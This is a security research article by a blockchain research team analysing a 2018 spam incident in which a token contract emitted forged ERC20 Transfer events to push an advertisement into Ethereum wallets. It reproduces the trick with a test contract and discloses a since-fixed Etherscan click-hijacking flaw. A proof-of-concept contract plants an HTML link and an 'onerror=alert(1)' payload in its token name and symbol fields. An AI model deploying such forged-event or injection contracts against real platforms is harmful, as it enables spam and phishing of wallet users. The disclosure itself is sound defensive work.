Author:Knownsec 404 Blockchain Security Research Team
Date:2018/9/13
Chinese version:https://paper.seebug.org/700/

1.Background

At about 1:00 am on September 7, 2018, a token transfer in/out message called blockwell.ai KYC Casper Token was received from lots of Ethereum wallet accounts:

Strangely enough, these accounts indicate that they had "nothing to know" about this Token. The users did not actually receive the 100 tokens that were prompted, and those who prompted for the 100 tokens to be transferred did not have the tokens before. All these seem "unexplained"! What makes some people even more strange and worried is that these transfer in/out operations do not require any password or private key input from the wallet owner, so many users who do not know the truth are worried about whether their wallet is maliciously attacked.

2.Event Tracking

First from the Transaction page blockwell.ai KYC Casper Token we can see the history of 100 tokens is all transfer out records, without any records of transfer in.

https://etherscan.io/token/0x212d95fccdf0366343350f486bda1ceafc0c2d63

In the transaction information actually transferred to the account, we can see that by calling this contract, a token transfer is initiated, and the actual transaction can be seen in the event logs.

https://etherscan.io/token/0x212d95fccdf0366343350f486bda1ceafc0c2d63?a=0xa3fe2b9c37e5865371e7d64482a3e1a347d03acd

The specific transaction address is:

https://etherscan.io/tx/0x3230f7326ab739d9055e86778a2fbb9af2591ca44467e40f7cd2c7ba2d7e5d35

The entire transaction cost 244w of gas, valued at $2.28, and was specifically transferred from 500 users to 500 users.

Continue tracking to the from the address of the transfer:

https://etherscan.io/address/0xeb7a58d6938ed813f04f36a4ea51ebb5854fa545#tokentxns

As mentioned at the beginning of the article: all source accounts themselves do not hold such tokens. And tracking shows that neither the initiator nor the acceptor has changed the actual tokens.

But these transaction history is indeed kept on the chain, so the central question of this event is: "How were these records generated and recorded?"

3.Event principle

We start with contract analysis.

https://etherscan.io/address/0x212d95fccdf0366343350f486bda1ceafc0c2d63#code

Unsurprisingly, this event-type contract code will not directly open source for you. By using our 404 self-developed smart contract OPCODE reverse tool, the following code is obtained after decompilation:

contract 0x212D95FcCdF0366343350f486bda1ceAfC0C2d63 {

    mapping(address => uint256) balances;
    uint256 public totalSupply;
    mapping (address => mapping (address => uint256)) allowance;
    address public owner;
    string public name;
    string public symbol;
    uint8 public decimals;

    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event OwnershipRenounced(address indexed previousOwner);
    event TransferOwnership(address indexed old, address indexed new);

    function approve(address _spender, uint256 _value) public returns (bool success) {        
        allowance[msg.sender][_spender] = _value;        
        Approval(msg.sender, _spender, _value);        
        return true;    
    }  

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        // 0x841
        require(to != address(0));   
        require(balances[_from] >= _value);
        require(allowance[_from][msg.sender] >= _value);
        balances[_from] = balances[_from].sub(_value);
        balances[_to] = balances[_to].add(_value);
        allowance[_from][msg.sender] =  allowance[_from][msg.sender].sub(_value); 
        Transfer(_from, _to, _value);
        return true;
    }

    function decreaseApproval(address _spender, uint256 _subtractedValue) {
        // 0xc0e
        uint oldValue = allowance[msg.sender][_spender];
        if (_subtractedValue > oldValue) {      
            allowance[msg.sender][_spender] = 0;    
        } else {
            allowance[msg.sender][_spender] = oldValue.sub(_subtractedValue);    
        }    
        Approval(msg.sender, _spender, allowance[msg.sender][_spender]);    
        return true;  
    }

    function balanceOf(address _owner) constant returns (uint256 balance) {       
        // 0xe9f 
        return balances[_owner];    
    }    

    function renounceOwnership() {
        // 0xee7
        require(owner == msg.sender);
        emit OwnershipRenounced(owner);
        owner = address(0);
    }

    function x_975ef7df(address[] arg0, address[] arg1, uint256 arg2) {
        require(owner == msg.sender);
        require(arg0.length > 0, "Address arrays must not be empty");
        require(arg0.length == arg1.length, "Address arrays must be of equal length");
        for (i=0; i < arg0.length; i++) {
            emit Transfer(arg0[i], arg1[i], arg2);
        }
    }

    function transfer(address arg0,uint256 arg1) {
        require(arg0 != address(0x0));
        require(balances[msg.sender] > arg1);
        balances[mag.sender] = balances[msg.sender].sub(arg1);
        balances[arg0] = balances[arg0].add(arg1);
        emit Transfer(msg.sender, arg0, arg1)
        return arg1
    }

    function increaseApproval(address arg0,uint256 arg1) {
        allowance[msg.sender][arg0] = allowance[msg.sender][arg0].add(arg1)
        emit Approval(msg.sender, arg0, arg1)
        return true;
    }

    function transferOwnership(address arg0) {
        require(owner == arg0);
        require(arg0 != adress(0x0));
        emit TransferOwnership(owner, arg0);
        owner = arg0;
    }
}

It's obvious that a special function x_975ef7df is the only one which involves array operations and triggers the Transfer events.

    function x_975ef7df(address[] arg0, address[] arg1, uint256 arg2) {
        require(owner == msg.sender);
        require(arg0.length > 0, "Address arrays must not be empty");
        require(arg0.length == arg1.length, "Address arrays must be of equal length");
        for (i=0; i < arg0.length; i++) {
            emit Transfer(arg0[i], arg1[i], arg2);
        }
    }

We can see clearly from the code that in the loop of the address list, only the Transfer event is triggered, and there are no other operations. We know that contract tokens that comply with the Ethereum ERC20 standard will be recognized as ERC20 tokens, and ERC20 tokens will be directly recognized by the exchange. In the ERC20 standard, the transfer function must trigger the Transfer event, and the event will be recorded in the event log. Does it mean that the platform and the transaction are acquiring ERC20 token transaction information, which is obtained through the event log event? Let's test it.

4.Event Recurrence

First, we need to write a simple ERC20 standard token contract.

contract MyTest {

    mapping(address => uint256) balances;
    uint256 public totalSupply;
    mapping (address => mapping (address => uint256)) allowance;
    address public owner;
    string public name;
    string public symbol;
    uint8 public decimals = 18;

    event Transfer(address indexed _from, address indexed _to, uint256 _value);

    function MyTest() {
        name = "we are ruan mei bi";
        symbol = "RMB";
        totalSupply = 100000000000000000000000000000000000;
    }

    function mylog(address arg0, address arg1, uint256 arg2) public {
        Transfer(arg0, arg1, arg2);
    }

}

The contract token needs to specify the name of the token and much more, and then we define a mylog function. We deploy through remix (we need the exchange to get the prompt information, so we deploy on the public chain).

Test contract address

https://etherscan.io/address/0xd69381aec4efd9599cfce1dc85d1dee9a28bfda2

Note: It should be emphasized addresses that are transferred in/out are all customizable, which is the reason of that all source accounts themselves do not hold such tokens.

Then initiate the transaction directly.

Our imtoken prompts the message, note that the received message contains the value rmb of symbol = "RMB"; in our code.

Looking back at the balance can see that no actual transfer had taken place.

5.Event Purpose

We found that the whole incident only said one thing is to fake a large number of false transaction records through the above analysis and testing. There is no other "substantial" malicious operation. So what is the purpose of this event?

We review the process of the entire incident:

Create a token ---> forge a transaction record ---> get a transaction record from a wallet or trading platform ---> push to the user

This will be a perfect message promotion chain if you can find a custom message! The initiator of this event uses the token custom input point very cleverly: blockwell.ai KYC Casper Token, blockwell.ai is the main purpose of this event, psoriasis small ads to promote this site.

Someone will say that if they are only used for advertising, they can use the real transfer record of the token to promote it instead of using the forged transaction record. It is necessary to remind you of the "advertising fee" problem. The "advertising fee" is the consumption of gas in the contract operation, forgery transaction records only need to operate the gas Transfer can greatly save this "advertising gas". The whole process of this event The "advertising gas" of about $2.28 was used to push accurate ads for 1000 users.

6.Summary

Combining past events, the attackers have shown amazing "creatives" at the "malicious" attack or utilization level compared to the various limited application scenarios of the blockchain. The event takes advantage of the "exchange/platform blindly trust contracts that meet ERC20 standards" feature, using the "bug" implemented by the Ethereum platform itself and using the least "advertising fee" to achieve the promotion of user advertising accurately.

Another point worthy of our attention is that the points that are used for message push are customizable, so the risks that may be caused are very worthwhile to consider: For example, pushing phishing website information and pushing other illegal types of small advertisements and speeches will cause users of platform users such as wallets to generate other unpredictable risks! We also remind all major wallets, exchanges and other platforms to be alert to such risks. Relevant identification and filtering of these customizable points if necessary.

Besides: An interesting clicking hijacking vulnerability

In the process of recurring the above vulnerabilities, we found an interesting vulnerability. In the area where the above contract tokens are used to make small advertisements, there is very little intelligent contract attribute that we can control.

So suppose the contract display platform like etherscan does not deal with this reasonably, is there any vulnerability such as xss? After testing, we found that Etherscan has such a clicking hijacking vulnerability.

Let's deploy the following code first.

pragma solidity ^0.4.24;

contract MyTest {

    mapping(address => uint256) balances;

    uint256 public totalSupply;

    mapping (address => mapping (address => uint256)) allowance;

    address public owner;

    string public name;

    string public symbol;

    uint8 public decimals = 18;

    event Transfer(address indexed _from, address indexed _to, uint256 _value);

    function MyTest() {

        name = "<a href=http://baidu.com>12321</a>";

        symbol = 'ok<img src=/ onerror=alert(1)> ';

        totalSupply = 100000000000000000000000000000000000;

    }

    function mylog(address arg0, address arg1, uint256 arg2) public {

        Transfer(arg0, arg1, arg2);

    }

}

After deployment, we use the contract to initiate a transaction.

Then look at the erasescan page and you can see the label a that was successfully set to another address in the very important place to view the contract information.

When the developer or user wants to view the contract information, clicking the button will jump to another place for further use.

This is a potential clicking hijacking vulnerability that can be used by attackers to entice developers or users to incorrect contracts, or even forge etherscan to cause greater harm.

The vulnerability has been reported to the erasescan official and fixed.

Welcome to scan a QR Code for help. This article was issued by Seebug Paper. Please indicates the source if reprinted. 


源链接

Hacking more

...